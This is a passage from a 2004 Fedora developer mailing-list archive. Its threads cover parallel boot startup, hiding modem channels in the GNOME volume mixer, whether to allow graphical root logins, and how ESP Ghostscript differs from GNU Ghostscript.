<1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <80d7e40904101909567d5570e1@mail.gmail.com> On Tue, 19 Oct 2004 18:10:28 +0200, Kyrre Ness Sjobak wrote: > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? > Hmm that almost wants to knee jerk against it. I think || startup is being looked at by some people, but it isnt currently possible in fedora. -- Stephen J Smoogen. CSIRT/Linux System Administrator From dcbw at redhat.com Tue Oct 19 17:04:02 2004 From: dcbw at redhat.com (Dan Williams) Date: Tue, 19 Oct 2004 13:04:02 -0400 Subject: Paralell startup In-Reply-To: <1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <1098205442.27694.2.camel@dcbw.boston.redhat.com> On Tue, 2004-10-19 at 18:10 +0200, Kyrre Ness Sjobak wrote: > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? Yes, and we should do it. However, it requires lots of changes to the initscripts :) There are a number of projects that have done parallel startup on *NIX machines. I believe one or two of the BSD variants use parallel startup and dependencies in their scripts. Seth Nickell has some writeups on a new startup script architecture as well. Nobody is making the noise necessary to do anything about anything though. Somebody needs the time and energy to champion this cause. The current Fedora initscripts packages are also very, very nasty and not well split out by function. You'll encounter resistance too from people who don't care about Desktop OS stuff under Linux and who think that longer boot times don't matter because they only boot their servers once a year. Dan From rbultje at ronald.bitfreak.net Tue Oct 19 17:16:20 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Tue, 19 Oct 2004 19:16:20 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098188839.3981.21.camel@home.gnome.no> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> Message-ID: <1098206179.2798.51.camel@tux.lan> On Tue, 2004-10-19 at 14:27, Kjartan Maraas wrote: > Could we get it to drop modems too please? :) I have a nice grey area > titled "Intel 82801DB-ICH4 Modem [Alsa Mixer]" in the mixer... Yes, I'll fix that for GNOME 2.10... Don't we have a bugzilla report for that already? I was gonna tell you to send me a patch since it's a one-liner (or so), but then decided to just do it. See attach. 5 seconds of work. ;). It's untested since I don't have a modem. Anyway, for everyone else: please put feature requests in bugzilla, I'm not gonna implement each feature right away and will forget all the others. Ronald -- Ronald S. Bultje -------------- next part -------------- A non-text attachment was scrubbed... Name: nomodem.patch Type: text/x-patch Size: 658 bytes Desc: not available URL: From mattdm at mattdm.org Tue Oct 19 17:07:17 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 19 Oct 2004 13:07:17 -0400 Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: <20041019170717.GA15785@jadzia.bu.edu> On Tue, Oct 19, 2004 at 01:04:02PM -0400, Dan Williams wrote: > well split out by function. You'll encounter resistance too from people > who don't care about Desktop OS stuff under Linux and who think that > longer boot times don't matter because they only boot their servers once > a year. Eventually, they won't matter on desktops either, because we'll have hibernation working perfectly. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From nhruby at uga.edu Tue Oct 19 17:17:39 2004 From: nhruby at uga.edu (nathan r. hruby) Date: Tue, 19 Oct 2004 13:17:39 -0400 (EDT) Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: On Tue, 19 Oct 2004, Dan Williams wrote: > On Tue, 2004-10-19 at 18:10 +0200, Kyrre Ness Sjobak wrote: >> I am hearing much good from the gentoo camp about paralell startup, and >> how it brings down boot times to about 30 secounds. Is this possible to >> do with fedora as well? > > Yes, and we should do it. However, it requires lots of changes to the > initscripts :) > > There are a number of projects that have done parallel startup on *NIX > machines. I believe one or two of the BSD variants use parallel startup > and dependencies in their scripts. Seth Nickell has some writeups on a > new startup script architecture as well. > OSX does it. Nice fast boot, but painful at times when you can't figure out why X won't work until you watch the bootup carefully to see ABC haven't fully started yet and X depends on A. Not that I'm against it, it's just a bit of a radical shift, esp considering the very large amount of non-parallel initscripts that are out there that might need changing. Is this covered in/by the LSB in any way? That seems like the place to really have this particular fight. -n -- ------------------------------------------- nathan hruby uga enterprise information technology services production systems support metaphysically wrinkle-free ------------------------------------------- From kyrre at solution-forge.net Tue Oct 19 17:34:46 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 19:34:46 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <4175392F.20502@wanadoo.es> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <41746AED.7060508@awesomeplay.com> <2ad7cea104101820394133debd@mail.gmail.com> <1098200680.2734.6.camel@kyrre> <4175392F.20502@wanadoo.es> Message-ID: <1098205517.2734.26.camel@kyrre> Primarily that it would take 10 minutes per machine and i had only 5 minutes. Anyway, i *knew* the dangers, did not visit the web etc. while doing this. I have never heard of "nscd", but i have heard of that-nice-litte-checkbox. That is called userfriendlyness. tir, 19.10.2004 kl. 17.56 skrev Xose Vazquez Perez: > Kyrre Ness Sjobak wrote: > > > I had a very good reason to login as root some days ago. In gui. > > > > The LDAP system collapsed (or, more consicely, it somehow beginned to > > take 5 minutes to get a GNOME login (where 5-10 sec is normal...). So, i > > logged in as root, ran system-config-authentification, turned on user > > info cacheing, logged back out, and things worked. > > what's wrong with logging as any unprivileged user, to open a xterm, > to run "su -" and then system-config-authentification ? > > -- > Hello, this is Darl McBride, and I pronounce Linux as UNIX. > From kyrre at solution-forge.net Tue Oct 19 17:34:48 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 19:34:48 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098198573.3627.123.camel@jonspc> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> Message-ID: <1098205787.2734.31.camel@kyrre> tir, 19.10.2004 kl. 17.09 skrev Jonathan Andrews: > On Tue, 2004-10-19 at 15:40, Ricardo Veguilla wrote: > > Jonathan Andrews wrote: > > > You don't need to log in as root to run a GUI tool as root. > True > > > > > >Makes we wonder what userbase fedora is aimed at ? Should home users be > > >using Debian - if so who fedora for ? > > > > > > > > Well, have you considered that maybe the situation you are describing is > > not that common for most home users? I'm not saying it is or it isn't... > > but I'm not the one wondering whether fedora is aimed at home users > > based on what could possibly be a special cases. > Its partly out of date on my part, xine didn't used to play properly as > non-root. Similar with some of the firewire applications. > > Its not common, but I see a dangerous trend amongst security people to > stamp down hard on anything thats insecure without thinking it through > for all users and workloads. > > It would be good to discourage people from surfing as root, but at the > same time it would be bad to stop people logging into X as root. Users > have the right to be stupid...... > > > > Should I complaing that Fedora is not friendly to gamers because I need > > to be aware of performance and security issues in order to run a "insert > > your favorite game here" dedicated server? > > This tread has degraded, I was originally answering a comment that > xdm,gdm,kdm should have root logins disabled. Not an "option" to > disable/enabled... but remove the possibility of loggining in as root > without first editing xinit scripts. I just wanted it noted that from a > user perspective this was arrogant ! > I agree. Make it an option in gdmsetup, or even better, make some kind of nice little "warning" box popup at startup. This box should contain a short, informative text, an "OK" button, an "OK, log me out" button, and a "please don't show me this again". Did you knew that one of the things that really pissed me off and away from windows, is that, while running as an administrator, got an "access denied" when trying to enter a (some kind of special, found it in a config file and was curious) well-hidden directory. > Jon > From kyrre at solution-forge.net Tue Oct 19 17:40:27 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 19:40:27 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <41754548.1040308@bluga.net> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> <41754548.1040308@bluga.net> Message-ID: <1098207627.2734.36.camel@kyrre> tir, 19.10.2004 kl. 18.48 skrev Joshua Eichorn: > Manuel Moreno wrote: > > >On Mon, 2004-10-18 at 20:32 -0400, seth vidal wrote: > > > > > >>Disable root graphical logins. > >> > >>Period. > >> > >> > >> > >... > > > > > >>-sv > >> > >> > >> > >> > > > >Don't do it, for God's sake! > > > >Let's not forget that computers are to be useful *not* to be secure. > > > > > > > People with that attibute can go back to windows and play with their > viri and worms. > > Computer should be both useful and secure. > -josh Windows have stepped of the line - that should not make us step over the line as well (albeit on the other side of it). Lets continue to have the possibillity, but give a warning box. From kyrre at solution-forge.net Tue Oct 19 17:43:26 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 19:43:26 +0200 Subject: Paralell startup In-Reply-To: <80d7e40904101909567d5570e1@mail.gmail.com> References: <1098202227.2734.23.camel@kyrre> <80d7e40904101909567d5570e1@mail.gmail.com> Message-ID: <1098207806.2734.39.camel@kyrre> Well as far as i can see and hear, enabling it in gentoo is as simple as setting RC_PARALLEL_STARTUP="YES" instead of NO in /etc/conf.d/rc. Not that i have ever used gentoo, but FC4 :D That could acctually make us take back any andvantage in boot time windows may have tir, 19.10.2004 kl. 18.56 skrev Stephen J. Smoogen: > On Tue, 19 Oct 2004 18:10:28 +0200, Kyrre Ness Sjobak > wrote: > > I am hearing much good from the gentoo camp about paralell startup, and > > how it brings down boot times to about 30 secounds. Is this possible to > > do with fedora as well? > > > > > Hmm that almost wants to knee jerk against it. I think || startup is > being looked at by some people, but it isnt currently possible in > fedora. > > -- > Stephen J Smoogen. > CSIRT/Linux System Administrator From kyrre at solution-forge.net Tue Oct 19 17:45:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 19:45:17 +0200 Subject: Paralell startup In-Reply-To: <20041019170717.GA15785@jadzia.bu.edu> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041019170717.GA15785@jadzia.bu.edu> Message-ID: <1098207916.2734.42.camel@kyrre> tir, 19.10.2004 kl. 19.07 skrev Matthew Miller: > On Tue, Oct 19, 2004 at 01:04:02PM -0400, Dan Williams wrote: > > well split out by function. You'll encounter resistance too from people > > who don't care about Desktop OS stuff under Linux and who think that > > longer boot times don't matter because they only boot their servers once > > a year. > > Eventually, they won't matter on desktops either, because we'll have > hibernation working perfectly. Yes, when RH starts building the HW themselves. Or maybe in 2010 todays computers are satisfactory supported. But then there are UACPI or some other wicked thing MS has comed up with. From jamesaharrisonuk at yahoo.co.uk Tue Oct 19 17:50:41 2004 From: jamesaharrisonuk at yahoo.co.uk (James Harrison) Date: Tue, 19 Oct 2004 10:50:41 -0700 (PDT) Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: <20041019175041.90021.qmail@web25309.mail.ukl.yahoo.com> > longer boot times don't matter because they only boot their servers once > a year. ..... Or wont use Fedora in favor of RHEL. --- Dan Williams wrote: > On Tue, 2004-10-19 at 18:10 +0200, Kyrre Ness Sjobak wrote: > > I am hearing much good from the gentoo camp about paralell startup, and > > how it brings down boot times to about 30 secounds. Is this possible to > > do with fedora as well? > > Yes, and we should do it. However, it requires lots of changes to the > initscripts :) > > There are a number of projects that have done parallel startup on *NIX > machines. I believe one or two of the BSD variants use parallel startup > and dependencies in their scripts. Seth Nickell has some writeups on a > new startup script architecture as well. > > Nobody is making the noise necessary to do anything about anything > though. Somebody needs the time and energy to champion this cause. The > current Fedora initscripts packages are also very, very nasty and not > well split out by function. You'll encounter resistance too from people > who don't care about Desktop OS stuff under Linux and who think that > longer boot times don't matter because they only boot their servers once > a year. > > Dan > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From walters at redhat.com Tue Oct 19 17:52:50 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 19 Oct 2004 13:52:50 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098206179.2798.51.camel@tux.lan> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098206179.2798.51.camel@tux.lan> Message-ID: <1098208370.27218.12.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 19:16 +0200, Ronald S. Bultje wrote: > On Tue, 2004-10-19 at 14:27, Kjartan Maraas wrote: > > Could we get it to drop modems too please? :) I have a nice grey area > > titled "Intel 82801DB-ICH4 Modem [Alsa Mixer]" in the mixer... > > Yes, I'll fix that for GNOME 2.10... Don't we have a bugzilla report for > that already? I was gonna tell you to send me a patch since it's a > one-liner (or so), but then decided to just do it. See attach. 5 seconds > of work. ;). It's untested since I don't have a modem. Hmm. Is this against the 2.10 sources? We're only shipping 2.8 in FC3. I came up with the attached patch which Ray Strode tested and confirmed worked. -------------- next part -------------- A non-text attachment was scrubbed... Name: gnome-media-2.8.0-gst-mixer-nomodem.patch Type: text/x-patch Size: 723 bytes Desc: not available URL: From walters at redhat.com Tue Oct 19 17:54:15 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 19 Oct 2004 13:54:15 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098201590.2734.17.camel@kyrre> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098201590.2734.17.camel@kyrre> Message-ID: <1098208455.27218.14.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 17:59 +0200, Kyrre Ness Sjobak wrote: > Or maybe there should be some kind of config dialog where you could > select what to "kick off the list". Showing modems in the volume mixer is just a bug, we don't want "unbreak me" preferences. > Another thing that is really lacking, is some vissible info on the dock > applet that sound is muted. That would be nice yes. I think it may do that for the master volume, but not if it's on but PCM is 0. From mattdm at mattdm.org Tue Oct 19 17:57:49 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 19 Oct 2004 13:57:49 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098205787.2734.31.camel@kyrre> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> <1098205787.2734.31.camel@kyrre> Message-ID: <20041019175749.GA17417@jadzia.bu.edu> On Tue, Oct 19, 2004 at 07:34:48PM +0200, Kyrre Ness Sjobak wrote: > I agree. Make it an option in gdmsetup, or even better, make some kind > of nice little "warning" box popup at startup. This box should contain a > short, informative text, an "OK" button, an "OK, log me out" button, and > a "please don't show me this again". I don't think it should have "please don't show me this again" -- that's too easy to click without really thinking. One should have to know what they're doing to disable it. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From kyrre at solution-forge.net Tue Oct 19 18:11:44 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 20:11:44 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098208455.27218.14.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098201590.2734.17.camel@kyrre> <1098208455.27218.14.camel@decepticon.boston.redhat.com> Message-ID: <1098209503.4259.1.camel@kyrre> > > Another thing that is really lacking, is some vissible info on the dock > > applet that sound is muted. > > That would be nice yes. I think it may do that for the master volume, > but not if it's on but PCM is 0. It doesn't. If i click "mute" (right click applet -> mute), there is no visible difference to the icon. From kyrre at solution-forge.net Tue Oct 19 18:19:10 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 20:19:10 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041019175749.GA17417@jadzia.bu.edu> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> <1098205787.2734.31.camel@kyrre> <20041019175749.GA17417@jadzia.bu.edu> Message-ID: <1098209949.4259.9.camel@kyrre> tir, 19.10.2004 kl. 19.57 skrev Matthew Miller: > On Tue, Oct 19, 2004 at 07:34:48PM +0200, Kyrre Ness Sjobak wrote: > > I agree. Make it an option in gdmsetup, or even better, make some kind > > of nice little "warning" box popup at startup. This box should contain a > > short, informative text, an "OK" button, an "OK, log me out" button, and > > a "please don't show me this again". > > I don't think it should have "please don't show me this again" -- that's too > easy to click without really thinking. One should have to know what they're > doing to disable it. If the user does that, that is indeed the users problem. If the user wants to kill his/her box with a shotgun (i heard sombody did that to an old (not then, but...) mac when it didn't do as she told it to...), they are in their full right to do so. And to sombody who said that "computers are designed to be usefull not secure" is the same as "computers are not meant to be secure" - i interprited that as "computers are made to be both usefull and secure". Anyway, how much is a computer that the user cant use because it is to tigthly locked up, worth? Why dont we remove tcp/ip altogether? Or simply the kernel? If the user cant boot it, then it is *really* secure. And make it forget all data that is saved to disk, just to make sure that it cant be read later by somebody evil? Security can go to far. I do not think security is a bad thing - i just think that it should not get in the way when it is not nesessary. Kyrre From walters at redhat.com Tue Oct 19 18:25:07 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 19 Oct 2004 14:25:07 -0400 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098209503.4259.1.camel@kyrre> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098201590.2734.17.camel@kyrre> <1098208455.27218.14.camel@decepticon.boston.redhat.com> <1098209503.4259.1.camel@kyrre> Message-ID: <1098210307.27218.16.camel@decepticon.boston.redhat.com> On Tue, 2004-10-19 at 20:11 +0200, Kyrre Ness Sjobak wrote: > > > Another thing that is really lacking, is some vissible info on the dock > > > applet that sound is muted. > > > > That would be nice yes. I think it may do that for the master volume, > > but not if it's on but PCM is 0. > > It doesn't. If i click "mute" (right click applet -> mute), there is no > visible difference to the icon. Really? That works for me here. What theme are you using? Can you try Bluecurve if you're using a different one? From kyrre at solution-forge.net Tue Oct 19 18:31:47 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 19 Oct 2004 20:31:47 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098210307.27218.16.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> <1098094242.7422.25.camel@localhost.localdomain> <1098125179.7435.13.camel@decepticon.boston.redhat.com> <1098127729.2798.27.camel@tux.lan> <1098130790.3777.4.camel@decepticon.boston.redhat.com> <1098188839.3981.21.camel@home.gnome.no> <1098201590.2734.17.camel@kyrre> <1098208455.27218.14.camel@decepticon.boston.redhat.com> <1098209503.4259.1.camel@kyrre> <1098210307.27218.16.camel@decepticon.boston.redhat.com> Message-ID: <1098210707.4259.12.camel@kyrre> Bluecurve. Same with gnome 2.6 (and 2.8 - but the theme looks quite ugly there. as i am on an dialup line, i really can't fully update it, and i don't have a clue where the themes are hidden. It looks halfway bluecurve and halfway gnome...) tir, 19.10.2004 kl. 20.25 skrev Colin Walters: > On Tue, 2004-10-19 at 20:11 +0200, Kyrre Ness Sjobak wrote: > > > > Another thing that is really lacking, is some vissible info on the dock > > > > applet that sound is muted. > > > > > > That would be nice yes. I think it may do that for the master volume, > > > but not if it's on but PCM is 0. > > > > It doesn't. If i click "mute" (right click applet -> mute), there is no > > visible difference to the icon. > > Really? That works for me here. What theme are you using? Can you try > Bluecurve if you're using a different one? > From elanthis at awesomeplay.com Tue Oct 19 18:40:18 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 19 Oct 2004 14:40:18 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098209949.4259.9.camel@kyrre> References: <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> <1098205787.2734.31.camel@kyrre> <20041019175749.GA17417@jadzia.bu.edu> <1098209949.4259.9.camel@kyrre> Message-ID: <1098211218.3860.45.camel@support02.civic.twp.ypsilanti.mi.us> On Tue, 2004-10-19 at 20:19 +0200, Kyrre Ness Sjobak wrote: > And to sombody who said that "computers are designed to be usefull not > secure" is the same as "computers are not meant to be secure" - i > interprited that as "computers are made to be both usefull and secure". > Anyway, how much is a computer that the user cant use because it is to > tigthly locked up, worth? Why dont we remove tcp/ip altogether? Or > simply the kernel? If the user cant boot it, then it is *really* secure. > And make it forget all data that is saved to disk, just to make sure > that it cant be read later by somebody evil? Disabling root login in GDM *does not stop the computer from doing anything useful* !! There are far more secure and far more convenient ways to perform any administration/configuration task or running any "requires root" program than logging in as root at GDM. I'm completely for axing the root account altogether. And you know what? It isn't going to stop a single thing I want to do with my computer, or a single thing *you* want to do with your computer. All it's going to do is make you have to do things using a better, albeit different, method than you used before. Removing root logins from GDM will *not* cause any application to stop working or any task to become impossible. It just stops root logins from GDM. Quit confusing the problem (how to run tasks that require root) with one solution (logging in as root at GDM). There are other solutions that are safer *and* more convenient. Fedora already employs them. They're called "consolehelper", "su", and "sudo". Graphical versions of su and sudo also exist, for users that want a graphical "runas" mechanism. > > Security can go to far. I do not think security is a bad thing - i just > think that it should not get in the way when it is not nesessary. Just like root should not get in the way when it's not necessary. It isn't necessary to log into root as GDM spawning an entire root desktop session when all you need to do is run some particular tools with elevated privileges. You can run those same tools with the same elevated privileges after logging into a user account or switching to a text console. > > Kyrre > -- Sean Middleditch AwesomePlay Productions, Inc. From xose at wanadoo.es Tue Oct 19 18:41:31 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Tue, 19 Oct 2004 20:41:31 +0200 Subject: status of ghostscript In-Reply-To: <20041019165546.GT14187@redhat.com> References: <417034D3.1010906@wanadoo.es> <20041019081644.GN14187@redhat.com> <41754557.2000103@wanadoo.es> <20041019165546.GT14187@redhat.com> Message-ID: <41755FDB.7060702@wanadoo.es> Tim Waugh wrote: > Okay -- but what are the differences between ESP Ghostscript and the > Ghostscript package we actually ship? latest Fedora Ghostscript and latest ESP Ghostscript are both based on GNU 7.07. but ESP brings -> http://cvs.sourceforge.net/viewcvs.py/espgs/espgs/CHANGES?rev=1.101 > But these are relative to what? GNU Ghostscript? What I'm personally yes, GNU. And the main differences GPL vs. GNU are that GNU deletes all files from Resource/CMap/* because they are: %%Copyright: ----------------------------------------------------------- %%Copyright: Copyright 1990-1996 Adobe Systems Incorporated. %%Copyright: All Rights Reserved. %%Copyright: %%Copyright: Patents Pending %%Copyright: %%Copyright: NOTICE: All information contained herein is the property %%Copyright: of Adobe Systems Incorporated. %%Copyright: %%Copyright: Permission is granted for redistribution of this file %%Copyright: provided this copyright notice is maintained intact and %%Copyright: that the contents of this file are not altered in any %%Copyright: way from its original form. %%Copyright: %%Copyright: PostScript and Display PostScript are trademarks of %%Copyright: Adobe Systems Incorporated which may be registered in %%Copyright: certain jurisdictions. %%Copyright: ----------------------------------------------------------- plus some adaptations of documents (GPL -> GNU, Linux -> GNU/Linux , GPL license...) And GNU is one or two releases behind GPL. > With respect to switching to ESP Ghostscript for the next development > cycle, one drawback that seems immediately apparent is that ESP > Ghostscript is not based on GNU Ghostscript 8.x! If we stick to GNU > Ghostscript we'll be able to upgrade to 8.x. latest ESP still is based on GNU 7.07, but with a lot of external stuff: http://cvs.sourceforge.net/viewcvs.py/espgs/espgs/CHANGES?view=markup get it from: http://sourceforge.net/projects/espgs -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From mattdm at mattdm.org Tue Oct 19 18:54:51 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 19 Oct 2004 14:54:51 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098209949.4259.9.camel@kyrre> References: <1098146666.3627.20.camel@jonspc> <604aa79104101818126fb6f7e8@mail.gmail.com> <1098191383.3627.35.camel@jonspc> <1098193832.4598.34.camel@gibraltar.stuttgart.redhat.com> <1098195003.3627.54.camel@jonspc> <41752764.10509@hpcf.upr.edu> <1098198573.3627.123.camel@jonspc> <1098205787.2734.31.camel@kyrre> <20041019175749.GA17417@jadzia.bu.edu> <1098209949.4259.9.camel@kyrre> Message-ID: <20041019185451.GA19423@jadzia.bu.edu> On Tue, Oct 19, 2004 at 08:19:10PM +0200, Kyrre Ness Sjobak wrote: > If the user does that, that is indeed the users problem. If the user > wants to kill his/her box with a shotgun (i heard sombody did that to an > old (not then, but...) mac when it didn't do as she told it to...), they > are in their full right to do so. Yeah, but I'm concerned that this doesn't _seem_ like taking a shotgun to the box to an uninformed user. It'll just seem like one of those nuisance dialog boxes web browsers give you like "Warning! You are connecting to a secure site! All of your traffic will be encrypted! [ ] Never show this message again." > Anyway, how much is a computer that the user cant use because it is to > tigthly locked up, worth? Why dont we remove tcp/ip altogether? Or > simply the kernel? If the user cant boot it, then it is *really* secure. > And make it forget all data that is saved to disk, just to make sure > that it cant be read later by somebody evil? This reduction can go the other way. Why set a root password during the install? Why not just have all of the services preconfigured and running wide open to the internet? Why not make everything mode 777? > Security can go to far. I do not think security is a bad thing - i just > think that it should not get in the way when it is not nesessary. In this case, it's not getting in the way. There's no reason to need to log in to X as root. (The need to run the authconfig X gui is a special case, and can be resolved by either using the text-mode tools, or by getting a proper fix to .) (If you're really concerned about this in an enterprise environment, having a non-root local account with a UID < 100 may be a good idea. But it's not necessary in the general case.) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From feliciano.matias at free.fr Tue Oct 19 16:49:23 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 19 Oct 2004 18:49:23 +0200 Subject: Paralell startup In-Reply-To: <1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <1098204563.18506.1.camel@localhost.localdomain> Le mardi 19 octobre 2004 ? 18:10 +0200, Kyrre Ness Sjobak a ?crit : > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? > No. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From rbultje at ronald.bitfreak.net Tue Oct 19 19:22:30 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Tue, 19 Oct 2004 21:22:30 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098208370.27218.12.camel@decepticon.boston.redhat.com> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> 